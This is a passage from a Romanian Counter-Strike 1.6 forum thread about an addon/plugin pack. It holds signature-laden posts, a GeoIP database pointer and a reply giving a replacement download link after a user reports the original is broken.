CVAR_IS = Cvar %s este %s
UNKNOWN_CVAR = Cvar %s necunoscut[/code]
Verificați mereu baza de date pentru noul modul GeoIP+(cele de pe maxmind) de aici - https://forums.alliedmods.net/showthread.php?t=95665
Last edited by L E V I N on 05 Mar 2019, 22:12, edited 1 time in total.
Faceți cerere bine detaliată aici și respectând modelul dacă vreți ajutor. Nu-mi mai dați add doar pentru a mă avea în lista de prieteni.
Am cont și activez doar aici! Aveți grijă la cei ce încearcă să mă copieze..Puteți lua legătura cu mine dacă aveți o problemă/nelămurire în acest caz!
În cazul în care utilizați ceva din addonsurile postate de mine aici, e bine să fiți la curent cu modificările aduse unor plugine, aici, iar dacă sunt ceva probleme sau aveți dvs. probleme nu ezitați să luați legătura cu mine.
HOST CS1.6
Zonek
User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2956
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 39 times
Been thanked: 454 times
Contact:

24 Feb 2019, 23:44

cele de sus se aplică și pentru restul de addons-uri posta de mine(fiind „multi-addons”)
va urma o pagină cu afișarea modificărilor în timp real pentru toate addons-urile postate aici
Faceți cerere bine detaliată aici și respectând modelul dacă vreți ajutor. Nu-mi mai dați add doar pentru a mă avea în lista de prieteni.
Am cont și activez doar aici! Aveți grijă la cei ce încearcă să mă copieze..Puteți lua legătura cu mine dacă aveți o problemă/nelămurire în acest caz!
În cazul în care utilizați ceva din addonsurile postate de mine aici, e bine să fiți la curent cu modificările aduse unor plugine, aici, iar dacă sunt ceva probleme sau aveți dvs. probleme nu ezitați să luați legătura cu mine.
HOST CS1.6
PedoBearJB
Membru, skill +1
Membru, skill +1
Posts: 127
Joined: 10 Aug 2015, 15:09
Detinator Steam: Da
SteamID: PedoBearJB
Fond eXtream: 0
Location: Alexandria
Contact:

01 Aug 2019, 11:33

Nu merge link-ul de download.
User avatar
Rainq
Fost moderator
Fost moderator
Posts: 2509
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ZM.THEXFORCE.RO
SteamID: mrainq
Reputatie: Fost super moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucureşti
Has thanked: 16 times
Been thanked: 21 times
Contact:

01 Aug 2019, 22:21

PedoBearJB wrote:
01 Aug 2019, 11:33
Nu merge link-ul de download.
https://www.mediafire.com/file/khvzs7g8 ... 9.rar/file
Image
Leul şi tigru sunt mai puternici ca lupul,dar lupul la circ nu participă.
User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2956
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 39 times
Been thanked: 454 times
Contact:

08 Aug 2019, 00:11

PedoBearJB wrote:
01 Aug 2019, 11:33
Nu merge link-ul de download.
Image
Faceți cerere bine detaliată aici și respectând modelul dacă vreți ajutor. Nu-mi mai dați add doar pentru a mă avea în lista de prieteni.
Am cont și activez doar aici! Aveți grijă la cei ce încearcă să mă copieze..Puteți lua legătura cu mine dacă aveți o problemă/nelămurire în acest caz!
În cazul în care utilizați ceva din addonsurile postate de mine aici, e bine să fiți la curent cu modificările aduse unor plugine, aici, iar dacă sunt ceva probleme sau aveți dvs. probleme nu ezitați să luați legătura cu mine.
HOST CS1.6
Post Reply

Return to “Addon-uri”

  • Information
  • Who is online

    Users browsing this forum: Google [Bot] and 6 guests